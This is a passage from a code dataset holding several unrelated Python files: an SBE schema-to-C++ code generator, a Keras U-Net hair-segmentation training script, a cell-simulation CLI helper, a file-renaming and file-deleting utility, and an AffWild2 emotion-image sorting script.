dimension_type)\n\n\t\tself.generate_group_fields(msg_gen, handler, group_gen, group, message_name)\n\n\t\tdimension_type_count = len(dimension)\n\t\tif(dimension_type_count == 2):\n\t\t\tmsg_gen.field_gen.gen_nested_group_def(group_name = group_name, dimension_type = dimension_type\\\n\t\t\t\t, block_length_name = dimension[0]['name']\\\n\t\t\t\t, num_in_group_name = dimension[1]['name'], num_in_group_type = dimension[1]['type'])\n\n\t\telif(dimension_type_count == 4):\n\t\t\tmsg_gen.field_gen.gen_nested_group_def_4(group_name = group_name, dimension_type = dimension_type\\\n\t\t\t\t, block_length_name = dimension[0]['name']\\\n\t\t\t\t, num_in_group_name = dimension[1]['name'], num_in_group_type = dimension[1]['type']\\\n\t\t\t\t, num_groups_type = dimension[2]['type']\\\n\t\t\t\t, num_var_data_field_type = dimension[3]['type'])\n\n\n\tdef parse_group(self, msg_gen, handler, message_name, group, prvious_field_name):\n\t\tgroup_name = group.attrib['name']\n\t\tgroup_id = group.attrib['id']\n\t\tdimension_type = group.attrib['dimensionType']\n\n\t\tdimension = self.parse_group_size_encoding_header(dimension_type)\n\n\t\tself.generate_nested_group(msg_gen, handler, group, message_name, dimension)\n\n\t\tdimension_type_count = len(dimension)\n\t\tif(dimension_type_count == 2):\n\t\t\tmsg_gen.field_gen.gen_group_def(group_name = group_name\\\n\t\t\t\t, prvious_group_name = prvious_field_name, group_id = group_id\\\n\t\t\t\t, dimension_type = dimension_type, block_length_name = 'blockLength'\\\n\t\t\t\t, num_in_group_name = 'numInGroup', num_in_group_type = 'std::uint16_t')\n\t\telif(dimension_type_count == 4):\n\t\t\tmsg_gen.field_gen.gen_group_def_4(group_name = group_name\n\t\t\t\t, prvious_group_name = prvious_field_name, group_id = group_id\\\n\t\t\t\t, dimension_type = dimension_type, block_length_name = dimension[0]['name']\\\n\t\t\t\t, num_in_group_name = dimension[1]['name'], num_in_group_type = dimension[1]['type']\\\n\t\t\t\t, num_groups_name = dimension[2]['name'], num_groups_type = dimension[2]['type']\\\n\t\t\t\t, num_var_data_fields_name = dimension[3]['name'], num_var_data_fields_type = dimension[3]['type'])\n\n\t\treturn group_name;\n\n\n\tdef generate_nested_variable_length_data(self, msg_gen, handler, var_len_data, message_name, dimension):\n\t\tname = var_len_data.attrib['name']\n\t\tid = var_len_data.attrib['id']\n\t\tdimension_type = var_len_data.attrib['type']\n\t\t\n\t\tgroup_gen = VariableLengthDataGen(handler = handler, indentation = msg_gen.indentation\\\n\t\t\t, name = name, id = id, message_name = message_name, namespace = self.namespace\\\n\t\t\t, dimension_type = dimension_type)\n\n\t\tmsg_gen.field_gen.gen_nested_variable_length_data_def(var_len_data_name = name, dimension_type = dimension_type\\\n\t\t\t, dimension = dimension)\t\t\n\n\n\tdef parse_data(self, msg_gen, handler, message_name, var_len_data, prvious_var_len_data_name):\n\t\tname = var_len_data.attrib['name']\n\t\tid = var_len_data.attrib['id']\n\t\tdimension_type = var_len_data.attrib['type']\n\n\t\tdimension = self.parse_variable_data_encoding_header(dimension_type)\n\t\tself.generate_nested_variable_length_data(msg_gen, handler, var_len_data, message_name, dimension)\n\n\t\tmsg_gen.field_gen.gen_variable_length_data_def(var_len_data_name = name\\\n\t\t\t, prvious_var_len_data_name = prvious_var_len_data_name, var_len_data_id = id\\\n\t\t\t, dimension_type = dimension_type, dimension = dimension)\n\n\t\treturn name;\n\t\t\n\n\tdef generate_message(self, message, handler):\n\t\tmessage_name = message.attrib['name']\n\t\tmessage_id = message.attrib['id']\t\t\n\t\tdescription = Parser.get_description(message)\n\n\t\tmsg_gen = MessageGen(handler = handler, message_name = message_name, message_id = message_id\\\n\t\t\t, schema = self.schema_id, version = self.schema_version, description = description, namespace = self.namespace)\n\n\t\tmsg_gen.field_gen.gen_ostream_begin()\t\t\t\n\t\tis_group_section = False\n\t\tis_var_data_section = False\n\t\tprvious_field_name = \"\";\n\t\tfor eliment in message:\n\t\t\tif (eliment.tag == 'field'):\n\t\t\t\tprvious_field_name = self.generate_message_field(msg_gen.field_gen, message_name, eliment\\\n\t\t\t\t\t, prvious_field_name, is_group = False, group_name = '')\n\t\t\telif(eliment.tag == 'group'):\n\t\t\t\tif(is_group_section == False):\n\t\t\t\t\t#this is the first group field\n\t\t\t\t\tis_group_section = True\n\t\t\t\t\tprvious_field_name = \"\";\n\t\t\t\t\tmsg_gen.field_gen.gen_buffer_def(1024)\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\tprvious_field_name = self.parse_group(msg_gen, handler, message_name, eliment\\\n\t\t\t\t\t, prvious_field_name)\n\n\t\t\telif(eliment.tag == 'data'):\n\t\t\t\tif(is_var_data_section == False):\n\t\t\t\t\tis_var_data_section = True\n\t\t\t\t\t#this is the first variable length data field\n\t\t\t\t\tif(is_group_section == True):\n\t\t\t\t\t\t#there was a group before data\n\t\t\t\t\t\tpass\n\t\t\t\t\telse:\t\t\t\t\t\n\t\t\t\t\t\tprvious_field_name = \"\";\t\t\t\t\t\n\t\t\t\t\t\tmsg_gen.field_gen.gen_buffer_def(1024)\n\t\t\t\t\t\tis_fixed_length_section = False\n\n\t\t\t\tprvious_field_name = self.parse_data(msg_gen, handler, message_name, eliment\\\n\t\t\t\t\t, prvious_field_name)\n\n\t\tmsg_gen.field_gen.gen_ostream_end()\n\n\n\tdef parse_message(self, message):\n\t\tmessage_name = message.attrib['name']\n\t\tlogging.debug('message_name: %s', message_name)\n\n\t\thandler = ContentHandler()\n\t\tself.generate_message(message, handler)\n\n\t\tsystem_includes = [\"cstdint\", \"string\", \"string_view\", \"ostream\", \"cstring\"]\n\t\tindentation = Indentaion(0)\n\t\tFileGen(indentation = indentation, out_folder = self.out_folder\\\n\t\t\t, file_name = message_name, namespace = self.namespace\\\n\t\t\t, system_includes = system_includes, handler = handler)\n\n\n\tdef parse_all_messages(self, root):\n\t\tmessages = root.find('messages')\n\t\tif not messages:\n\t\t\tnamespaces = {'sbe' : root.tag.split('}')[0].strip('{')}\n\t\t\tfor message in root.iterfind('sbe:message', namespaces):\n\t\t\t\tself.parse_message(message)\n\t\telse:\n\t\t\tnamespaces = {'sbe' : root.tag.split('}')[0].strip('{')}\n\t\t\tfor message in messages.iterfind('sbe:message', namespaces):\n\t\t\t\tself.parse_message(message)\n\n\tdef run(self):\n\t\ttree = ET.parse(self.schema_file)\n\t\tself.root = tree.getroot()\n\t\tself.schema_id = self.root.attrib['id']\n\t\tself.schema_version = self.root.attrib['version']\n\t\tlogging.debug('schema_id: %s schema_version: %s', self.schema_id, self.schema_version)\n\n\t\ttypes = self.root.find('types')\n\t\tself.parse_all_types(types = types)\n\t\tself.parse_all_enums(types = types)\n\t\tself.parse_all_composites(types = types)\n\t\tself.parse_all_messages(root = self.root)\n\n\n\n\tdef __init__(self, schema_file, out_folder, override_namespace):\n\t\tself.schema_file = schema_file\n\t\tself.out_folder = out_folder\n\t\tself.namespace = override_namespace\n\n\t\tself.user_defined_types = {}\n\t\tself.user_defined_enums = []\n\t\tself.user_defined_composites = []\n\t\tself.group_size_encoding_types = {}\n\t\tself.variable_data_encoding_types = {}\n\n\t\tself.run()\n\n\t\tlogging.debug('end')","repo_name":"m3janitha/FastSBE","sub_path":"FastSBE/Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":25256,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"8253784162","text":"import os\nimport sys\nimport random\nimport warnings\n\nimport numpy as np\nimport pandas as pd\n\nfrom skimage.io import imread, imshow, imread_collection, concatenate_images, imsave\nfrom skimage import transform\nfrom skimage.transform import resize, rotate\nfrom skimage.morphology import label\n\nfrom keras.models import *\nfrom keras.layers import *\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint, ReduceLROnPlateau\nfrom keras.optimizers import SGD, Adam\nfrom keras import backend as K\n\nimport tensorflow as tf\n\n# Set some parameters\nIMG_WIDTH = 256\nIMG_HEIGHT = 256\nIMG_CHANNELS = 3\nBATCH_SIZE = 10\nTRAIN_PATH = 'training_images'\nTRAIN_MASK_PATH = 'training_masks'\nTEST_PATH = 'testing_images'\nVALID_PATH = 'validation_images'\nVALID_MASK_PATH = 'validation_masks'\n\nwarnings.filterwarnings('ignore', category=UserWarning, module='skimage')\nseed = 42\nrandom.seed = seed\nnp.random.seed = seed\n\n\ntrain_ids = next(os.walk(TRAIN_PATH))[2]\ntrain_mask_ids = next(os.walk(TRAIN_MASK_PATH))[2]\nvalid_ids = next(os.walk(VALID_PATH))[2]\nvalid_mask_ids = next(os.walk(VALID_MASK_PATH))[2]\nprint('Getting and resizing train/validation images and masks ... ')\n\n\ndef getImages(ids_, PATH):\n\tX_train = np.zeros((len(ids_), IMG_HEIGHT, IMG_WIDTH, IMG_CHANNELS), dtype=np.uint8)\n\tfor i in range(len(ids_)):\n\t\tid_ = ids_[i]\n\t\timg = imread(PATH + '/' + id_)[:,:,:IMG_CHANNELS]\n\t\timg = resize(img, (IMG_HEIGHT, IMG_WIDTH), mode='constant', preserve_range=True)\n\t\tX_train[i] = img\n\tprint('Finished getting images from ' + PATH + ' with size ' + str(len(X_train)))\n\treturn X_train\n\ndef getMaskImages(ids_, PATH):\n Y_train = np.zeros((len(ids_), IMG_HEIGHT, IMG_WIDTH, 1), dtype=np.uint8)\n for i in range(len(ids_)):\n id_ = ids_[i]\n mask = imread(PATH + '/' + id_)\n mask = np.array(mask, dtype=np.uint8)\n mask = np.round(mask/255)\n mask = np.expand_dims(resize(mask, (IMG_HEIGHT, IMG_WIDTH), mode='constant',\n preserve_range=True), axis=-1)\n Y_train[i] = mask\n print('Finished getting masks from ' + PATH + ' with size ' + str(len(Y_train)))\n return Y_train\n\nX_train = getImages(train_ids, TRAIN_PATH)\nY_train = getMaskImages(train_mask_ids, TRAIN_MASK_PATH)\nX_valid = getImages(valid_ids, VALID_PATH)\nY_valid = getMaskImages(valid_mask_ids, VALID_MASK_PATH)\n\nprint('Done!')\n\ndef addMoreFlippedImages(imgs):\n more_images = []\n vert_flip_imgs = []\n hori_flip_imgs = []\n \n for i in range(0, imgs.shape[0]):\n\n a=imgs[i,:,:,0]\n b=imgs[i,:,:,1]\n c=imgs[i,:,:,2]\n \n av = a[::-1, :]\n ah = a[:, ::-1]\n bv = b[::-1, :]\n bh = b[:, ::-1]\n cv = c[::-1, :]\n ch = c[:, ::-1]\n \n vert_flip_imgs.append(np.dstack((av, bv, cv)))\n hori_flip_imgs.append(np.dstack((ah, bh, ch)))\n \n v = np.array(vert_flip_imgs)\n h = np.array(hori_flip_imgs)\n \n more_images = np.concatenate((imgs,v,h))\n \n return more_images\n\ndef addMoreFlippedMasks(mask):\n more_images = []\n vert_flip_imgs = []\n hori_flip_imgs = []\n\n for i in range(0, mask.shape[0]):\n a=mask[i,:,:,0]\n \n av = a[::-1, :]\n ah = a[:, ::-1]\n \n vert_flip_imgs.append(av.reshape(IMG_WIDTH,IMG_WIDTH,1))\n hori_flip_imgs.append(ah.reshape(IMG_WIDTH,IMG_WIDTH,1))\n \n v = np.array(vert_flip_imgs)\n h = np.array(hori_flip_imgs)\n\n more_mask = np.concatenate((mask,v,h))\n\n return more_mask\n\n\nX_train = addMoreFlippedImages(X_train)\nY_train = addMoreFlippedMasks(Y_train)\n\nprint(X_train.shape, Y_train.shape)\n\n# Define IoU metric\ndef mean_iou(y_true, y_pred):\n prec = []\n for t in np.arange(0.5, 1.0, 0.05):\n y_pred_ = tf.to_int32(y_pred > t)\n score, up_opt = tf.metrics.mean_iou(y_true, y_pred_, 2, y_true)\n K.get_session().run(tf.local_variables_initializer())\n with tf.control_dependencies([up_opt]):\n score = tf.identity(score)\n prec.append(score)\n return K.mean(K.stack(prec), axis=0)\n\ndef unet():\n # Build U-Net model\n inputs = Input((IMG_HEIGHT, IMG_WIDTH, IMG_CHANNELS))\n s = Lambda(lambda x: x / 255) (inputs)\n\n c1 = Conv2D(16, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (s)\n c1 = Dropout(0.1) (c1)\n c1 = Conv2D(16, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (c1)\n p1 = MaxPooling2D((2, 2)) (c1)\n\n c2 = Conv2D(32, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (p1)\n c2 = Dropout(0.1) (c2)\n c2 = Conv2D(32, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (c2)\n p2 = MaxPooling2D((2, 2)) (c2)\n\n c3 = Conv2D(64, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (p2)\n c3 = Dropout(0.2) (c3)\n c3 = Conv2D(64, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (c3)\n p3 = MaxPooling2D((2, 2)) (c3)\n\n c4 = Conv2D(128, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (p3)\n c4 = Dropout(0.2) (c4)\n c4 = Conv2D(128, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (c4)\n p4 = MaxPooling2D(pool_size=(2, 2)) (c4)\n\n c5 = Conv2D(256, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (p4)\n c5 = Dropout(0.3) (c5)\n c5 = Conv2D(256, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (c5)\n\n u6 = Conv2DTranspose(128, (2, 2), strides=(2, 2), padding='same') (c5)\n u6 = concatenate([u6, c4])\n c6 = Conv2D(128, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (u6)\n c6 = Dropout(0.2) (c6)\n c6 = Conv2D(128, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (c6)\n\n u7 = Conv2DTranspose(64, (2, 2), strides=(2, 2), padding='same') (c6)\n u7 = concatenate([u7, c3])\n c7 = Conv2D(64, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (u7)\n c7 = Dropout(0.2) (c7)\n c7 = Conv2D(64, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (c7)\n\n u8 = Conv2DTranspose(32, (2, 2), strides=(2, 2), padding='same') (c7)\n u8 = concatenate([u8, c2])\n c8 = Conv2D(32, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (u8)\n c8 = Dropout(0.1) (c8)\n c8 = Conv2D(32, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (c8)\n\n u9 = Conv2DTranspose(16, (2, 2), strides=(2, 2), padding='same') (c8)\n u9 = concatenate([u9, c1], axis=3)\n c9 = Conv2D(16, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (u9)\n c9 = Dropout(0.1) (c9)\n c9 = Conv2D(16, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (c9)\n\n outputs = Conv2D(1, (1, 1), activation='sigmoid') (c9)\n\n model = Model(inputs=[inputs], outputs=[outputs])\n \n return model\n\nmodel = unet()\nmodel.summary()\n\n# opt = SGD(lr=0.01, momentum=0.9, decay=1e-6, nesterov=True)\n\nopt = Adam()\n\nmodel.compile(optimizer=opt, loss='binary_crossentropy', metrics=[mean_iou])\nprint('Compiled the model')\n\nmodel.summary()\n\ncheckpoint_path = 'model/model_best_best.h5'\n\nearlyStopping = EarlyStopping(monitor='val_loss', \n patience=5, \n verbose=1, \n min_delta = 0.0001,\n mode='min')\n\nmodelCheckpoint = ModelCheckpoint(checkpoint_path,\n monitor = 'val_loss', \n save_best_only = True, \n mode = 'min', \n verbose = 1,\n save_weights_only = False)\n\nreduceLROnPlat = ReduceLROnPlateau(monitor='val_loss', \n factor=0.1, \n patience=3, \n verbose=1,\n min_lr=0.0001,\n min_delta=0.0001)\n\ncallbacks_list = [modelCheckpoint, earlyStopping, reduceLROnPlat]\n\nmodel.fit(\n\tX_train,\n Y_train,\n\tvalidation_data = (X_valid, Y_valid),\n batch_size = BATCH_SIZE,\n\tepochs=50,\n callbacks=callbacks_list,\n shuffle = True)\nprint('Finished Training!')\n\nmodel.save('model/current_model.h5')\nprint('Saved current model')","repo_name":"WilsonGip/HairSegmentationKeras","sub_path":"Training.py","file_name":"Training.py","file_ext":"py","file_size_in_byte":8365,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"18390336400","text":"\"\"\"CLI package, home to the individual entry points\"\"\"\nfrom pathlib import Path\nfrom typing import Any, Optional\n\nfrom ..model import PlacedCell, SizerCell, TimerCell\nfrom ..output import Output\nfrom ..simulation.placement import PlacementSimulation\nfrom ..simulation.simulator import Simulator\n\n\nclass TimerCell(PlacedCell, TimerCell):\n \"\"\"Cell.\"\"\"\n\n pass\n\n\nclass SizerCell(PlacedCell, SizerCell):\n \"\"\"Cell.\"\"\"\n\n\nCell = SizerCell\n\n\ndef initialize_simulator() -> Simulator:\n \"\"\"\n Constructor helper for a simulator.\n\n :return: Simulator instance\n \"\"\"\n simulator = Simulator()\n ps = PlacementSimulation()\n\n simulator.sub_simulators += [ps]\n\n return simulator\n\n\ndef initialize_cells(\n simulator: Simulator,\n count: int = 1,\n cell_type: Optional[PlacedCell] = None,\n sequence: Any = None,\n) -> Simulator:\n \"\"\"\n Initialize cells and add them to a simulator.\n\n :param simulator: Simulator to add cells to.\n :param count: Count of cells to generate\n :param cell_type: cell type to use\n :param sequence: Random number sequence to use\n :return: Simulator\n \"\"\"\n if cell_type is None:\n cell_type = Cell\n\n random_sequences = cell_type.get_random_sequences(sequence=sequence)\n\n for _ in range(count):\n\n init_kwargs = {k: next(v) for k, v in random_sequences.items()}\n\n # handling for items which are generated jointly,\n # but need to go to separate kwargs\n for k, v in list(init_kwargs.items()):\n if \"__\" in k:\n del init_kwargs[k]\n k_fragments = k.split(\"__\")\n for inner_k, inner_v in zip(k_fragments, v):\n init_kwargs[inner_k] = inner_v\n\n cell = cell_type(**init_kwargs)\n cell.birth()\n simulator.add(cell)\n\n return simulator\n\n\ndef add_output_prefix(output_name: str, output: Output) -> str:\n \"\"\"\n Adds an prefix to an output filename.\n\n :param output_name: Output name\n :param output: Output object\n :return: Name\n \"\"\"\n output_name = Path(output_name)\n\n output_name = output_name.parent / (\n output.__class__.__name__ + \"-\" + output_name.name\n )\n\n return str(output_name)\n","repo_name":"modsim/CellSium","sub_path":"cellsium/cli/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41560379620","text":"import os\n\n\ndef clear():\n os.system('cls' if os.name == 'nt' else 'clear')\n\n\nslash = '\\\\' if os.name == 'nt' else '/'\n\n\n# remove unwanted string from a filename\ndef remove_string():\n renamed_files = 0\n # piece of string that is going to be removed\n unwanted_string = input(\n 'Type or paste piece of text you want to remove from file name\\n--> ')\n\n exclude_prefixes = ('__', '.')\n for root, dirs, files in os.walk(full_path):\n # exclude all files starting with exclude_prefixes\n files = [f for f in files if not f[0].startswith(exclude_prefixes)]\n # exclude all dirs starting with exclude_prefixes\n dirs[:] = [d for d in dirs if not d.startswith(\n exclude_prefixes)]\n # print(os.path.join(root.split('/')[-1]))\n for file in files:\n # print(os.path.join(file))\n file_name = os.path.join(file)\n if unwanted_string in file_name:\n renamed_file_name = file_name.replace(unwanted_string, \"\")\n os.rename(root + slash + file,\n root + slash + renamed_file_name)\n\n print(\n f'--> File \"{file_name}\"\\n\\tis renamed to\\n\\t\"'\n f'{renamed_file_name}\"\\n')\n renamed_files += 1\n\n overall = f'Total renamed items: {renamed_files}'\n print(overall)\n\n\n# add string at the beginning of the filename\ndef add_string_at_start():\n renamed_files = 0\n\n filetype = input(\n 'Type the exact file extension you want to add string to\\n(example: '\n 'mp3, jpg, '\n 'txt, pdf, html... )\\n--> ')\n # piece of string that is going to be added\n add_string = input(\n 'Type or paste piece of text you want to add at the filename '\n 'beginning\\n--> ')\n\n exclude_prefixes = ('__', '.')\n for root, dirs, files in os.walk(full_path):\n files = [f for f in files if not f[0].startswith(exclude_prefixes)]\n dirs[:] = [d for d in dirs if not d.startswith(\n exclude_prefixes)]\n for file in files:\n file_name = os.path.join(file)\n\n if file_name.endswith(f'.{filetype}'):\n renamed_file_name = add_string + file_name\n os.rename(root + slash + file, root + slash + renamed_file_name)\n\n print(\n f'--> File \"{file_name}\"\\n\\tis renamed to\\n\\t\"'\n f'{renamed_file_name}\"\\n')\n renamed_files += 1\n\n overall = f'Total renamed items: {renamed_files}'\n print(overall)\n\n\n# index specific files in a directory\ndef index_file():\n renamed_files = 0\n\n filetype = input(\n 'Type the exact file extension you want to index\\n(example: mp3, jpg, '\n 'txt, pdf, html... )\\n--> ')\n\n exclude_prefixes = ('__', '.')\n for root, dirs, files in os.walk(full_path):\n files = [f for f in files if not f[0].startswith(exclude_prefixes)]\n dirs[:] = [d for d in dirs if not d.startswith(\n exclude_prefixes)]\n file_index = 1\n for file in files:\n file_name = os.path.join(file)\n if file_name.endswith(f'.{filetype}'):\n index_number = str(file_index).zfill(2) + ' - '\n os.rename(root + slash + file, root +\n slash + index_number + file_name)\n print(\n f'--> File \"{file_name}\"\\n\\tis indexed as\\n\\t\"'\n f'{index_number}{file_name}\"\\n')\n\n renamed_files += 1\n file_index += 1\n\n overall = f'Total indexed files: {renamed_files}'\n print(overall)\n\n\n# delete files with given file type\ndef delete_file():\n deleted_files = 0\n\n filetype = input(\n 'Type the exact file extension for files you want to delete\\n('\n 'example: mp3, jpg, txt, pdf, html...)\\n--> ')\n\n exclude_prefixes = ('__', '.')\n for root, dirs, files in os.walk(full_path):\n files = [f for f in files if not f[0].startswith(exclude_prefixes)]\n dirs[:] = [d for d in dirs if not d.startswith(\n exclude_prefixes)]\n for file in files:\n if file.endswith(f'.{filetype}'):\n os.remove(os.path.join(root + slash, file))\n\n print(f'--> Deleted file \"{file}\"\\n')\n deleted_files += 1\n\n overall = f'Total deleted items: {deleted_files}'\n print(overall)\n\n\nclear()\n\nprint('Choose an option:')\nfeatures = [\n '1. Index files (add numbers at the beginning of each file of filetype '\n 'you choose)',\n '2. Remove specific text from filename',\n '3. Add text at the beginning of the filename',\n '4. Delete files with specific filetypes of your choice']\nfor i in range(len(features)):\n print(features[i])\noption = int(input('--> '))\n\n# get the directory where the python script is located\nfull_path = os.path.dirname(os.path.realpath(__file__)) + slash\n\nif option == 1:\n index_file()\nelif option == 2:\n remove_string()\nelif option == 3:\n add_string_at_start()\nelif option == 4:\n delete_file()\nelse:\n print('You didn\\'t choose any of the given options.')\n","repo_name":"markodevcic/file_handler-python","sub_path":"file_handler.py","file_name":"file_handler.py","file_ext":"py","file_size_in_byte":5124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34325503575","text":"\"\"\"\n Script to convert affwild2 dataset into a 0-6 facial emotion labels folder\n convention as part of the data preparation process to convert to numpy\n format or merge with other datasets for baseline model training and testing.\n\n ## USAGE ##\n\n 1. Within affwild2 dataset folder, extract the following zip files\n (\"cropped_aligned.zip\") and create a new folder called \"annotation\".\n 2. Move \"EXPR_Set\" folder into the newly created \"annotation\" folder.\n 3. Move this script into the root affwild2 folder and run the script.\n\"\"\"\n\nimport os\nimport cv2\nimport csv\nimport zipfile\nimport rarfile\nimport shutil\nimport itertools\nimport time\nimport glob\nfrom shutil import copyfile\nfrom tqdm import tqdm\nfrom collections import Counter\nfrom distutils.dir_util import copy_tree\n\nROOT_DIR = os.getcwd()\n\nNEUTRAL_FOLDER = ROOT_DIR + '\\\\labelled_image\\\\0'\nANGER_FOLDER = ROOT_DIR + '\\\\labelled_image\\\\1'\nDISGUST_FOLDER = ROOT_DIR + '\\\\labelled_image\\\\2'\nFEAR_FOLDER = ROOT_DIR + '\\\\labelled_image\\\\3'\nHAPPY_FOLDER = ROOT_DIR + '\\\\labelled_image\\\\4'\nSAD_FOLDER = ROOT_DIR + '\\\\labelled_image\\\\5'\nSURPRISE_FOLDER = ROOT_DIR + '\\\\labelled_image\\\\6'\n\nCROPPED_IMG_FOLDER = ROOT_DIR + '\\\\cropped_images'\n\nIMAGE_FILEPATH = []\nIMAGE_NAME = []\nIMAGE_FILENAME = []\nCROPPED_IMAGE_NAME = []\nCROPPED_IMAGE_FILEPATH = []\nLABEL_LIST = []\nTESTING_FILE_LIST = []\nTESTING_IMG_COUNT_LIST = []\nTESTING_IMG_DIR_FILEPATH_LIST = []\nIMAGE_LABEL_LIST = []\nLABELLED_CROPPED_IMAGE_NAME = []\n\n\ndef _create_folder(name):\n if not os.path.exists(name):\n os.makedirs(name)\n\n\ndef get_images(directory, raw_img_filepath, raw_img_names, raw_img_filename):\n \"\"\"\n Go through specified directory to look for all images' filepath.\n \"\"\"\n\n os.chdir(directory)\n\n for subdir, dirs, files in os.walk(directory):\n for file in files:\n filepath = subdir + os.sep + file\n\n path_list_len = len(filepath.split(os.sep)) - 1\n image_name = str(filepath.split(os.sep)[path_list_len - 1]) + '/' \\\n + file\n image_name_no_ext = os.path.splitext(image_name)[0]\n image_file_name = str(filepath.split(os.sep)[path_list_len])\n\n raw_img_filepath.append(filepath)\n raw_img_names.append(image_name_no_ext)\n raw_img_filename.append(image_file_name)\n\n os.chdir(ROOT_DIR)\n\n\ndef get_labels(directory, label_list):\n \"\"\"\n Go through all .txt files to look for all images labels and bounding\n boxes.\n \"\"\"\n\n os.chdir(directory)\n\n for subdir, dirs, files in os.walk(directory):\n for file in files:\n count = 1\n\n filepath = subdir + os.sep + file\n\n with open(filepath, \"r\") as fd:\n next(fd)\n for line in fd:\n filepath_split = filepath.split(\"\\\\\")\n _folder_name = filepath_split[len(filepath_split) - 1]\n folder_name_no_ext = os.path.splitext(_folder_name)[0]\n line = line.strip()\n label_list.append([str(folder_name_no_ext) + \"/\"\n + str(count).zfill(5), line])\n\n count += 1\n\n os.chdir(ROOT_DIR)\n\n\ndef _create_dummy_annotation_file(directory, file_list, img_count_list):\n \"\"\"\n Go through listed test file list and create annotation file for\n each files according to the format of given training and validation\n annotation files.\n \"\"\"\n\n os.chdir(directory)\n\n _create_folder('Testing_Set')\n\n os.chdir('Testing_Set')\n\n for i in range(len(file_list)):\n f = open(file_list[i] + \".txt\", \"w+\")\n f.write(\"Neutral,Anger,Disgust,Fear,Happiness,Sadness,Surprise\" + \"\\n\")\n f.close()\n\n img_count_list_index = 0\n for subdir, dirs, files in os.walk(directory):\n for file in files:\n if img_count_list_index == len(img_count_list):\n pass\n else:\n filepath = subdir + os.sep + file\n\n with open(filepath, \"a\") as f:\n for i in range(img_count_list[img_count_list_index]):\n f.write(\"0\" + \"\\n\")\n\n img_count_list_index += 1\n\n os.chdir(ROOT_DIR)\n\n\ndef _get_test_img_dir_list(directory, file_list):\n \"\"\"\n Go through specified directory to look for test images\n \"\"\"\n\n os.chdir(directory)\n\n img_dir_list = []\n for subdir, dirs, files in os.walk(directory):\n for _dir in dirs:\n dir_path = subdir + _dir\n if _dir in file_list:\n img_dir_list.append(dir_path)\n os.chdir(ROOT_DIR)\n\n return img_dir_list\n\n\ndef _get_file_count_in_dir_list(dir_list):\n \"\"\"\n Count number of images in a directory, for creation of\n dummy annotation labels.\n \"\"\"\n\n dir_file_count_list = []\n for i in range(len(dir_list)):\n _dir_files = os.listdir(dir_list[i])\n file_cnt = len(_dir_files)\n dir_file_count_list.append(file_cnt)\n\n return dir_file_count_list\n\n\ndef setup_test_files(file, file_list, testing_img_dir_filepath_list):\n \"\"\"\n Setup annotation files for test set and create dummy expression value\n of \"0\" for each image.\n \"\"\"\n\n with open(file, \"r\") as fd:\n next(fd)\n for line in fd:\n line = line.strip()\n file_list.append(line)\n\n test_img_dir_list = _get_test_img_dir_list(ROOT_DIR + '\\\\cropped_aligned\\\\',\n file_list)\n testing_img_dir_filepath_list.extend(test_img_dir_list)\n test_img_dir_file_count_list = _get_file_count_in_dir_list(\n test_img_dir_list)\n _create_dummy_annotation_file(ROOT_DIR + '\\\\annotation\\\\EXPR_Set',\n file_list, test_img_dir_file_count_list)\n\n\ndef match_image_with_labels(img_name_list, img_filepath_list,\n label_list, img_label_list):\n \"\"\"\n Match image according to its emotion labels.\n \"\"\"\n\n for i in tqdm(range(len(img_name_list))):\n img_name = img_name_list[i]\n for j in range(len(label_list)):\n label_name = label_list[j][0]\n label_cat = label_list[j][1]\n if img_name == label_name:\n new_img_name = img_name_list[i].replace('/', '_') + \".jpg\"\n img_label_list.append([new_img_name, img_filepath_list[i],\n int(label_cat)])\n break\n\n\ndef arrange_files():\n \"\"\"\n Using the folder conventions of 0-6 according to basic emotion labels.\n The images will be organized into these folders.\n \"\"\"\n\n _create_folder('labelled_image')\n os.chdir('labelled_image')\n\n _create_folder('0')\n _create_folder('1')\n _create_folder('2')\n _create_folder('3')\n _create_folder('4')\n _create_folder('5')\n _create_folder('6')\n\n os.chdir(ROOT_DIR)\n\n for i in tqdm(range(len(IMAGE_LABEL_LIST))):\n filename = IMAGE_LABEL_LIST[i][0]\n filepath = IMAGE_LABEL_LIST[i][1]\n label = IMAGE_LABEL_LIST[i][2]\n if label == 0: # neutral\n shutil.copy(filepath, os.path.join(NEUTRAL_FOLDER, filename))\n if label == 1: # angry\n shutil.copy(filepath, os.path.join(ANGER_FOLDER, filename))\n if label == 2: # disgust\n shutil.copy(filepath, os.path.join(DISGUST_FOLDER, filename))\n if label == 3: # fear\n shutil.copy(filepath, os.path.join(FEAR_FOLDER, filename))\n if label == 4: # happy\n shutil.copy(filepath, os.path.join(HAPPY_FOLDER, filename))\n if label == 5: # sad\n shutil.copy(filepath, os.path.join(SAD_FOLDER, filename))\n if label == 6: # surprise\n shutil.copy(filepath, os.path.join(SURPRISE_FOLDER, filename))\n\n\ndef _copy_file_to_another_dir(from_dir, to_dir):\n \"\"\"\n Used to copy all .jpg files from a directory into another directory.\n \"\"\"\n for file in glob.iglob(os.path.join(from_dir, 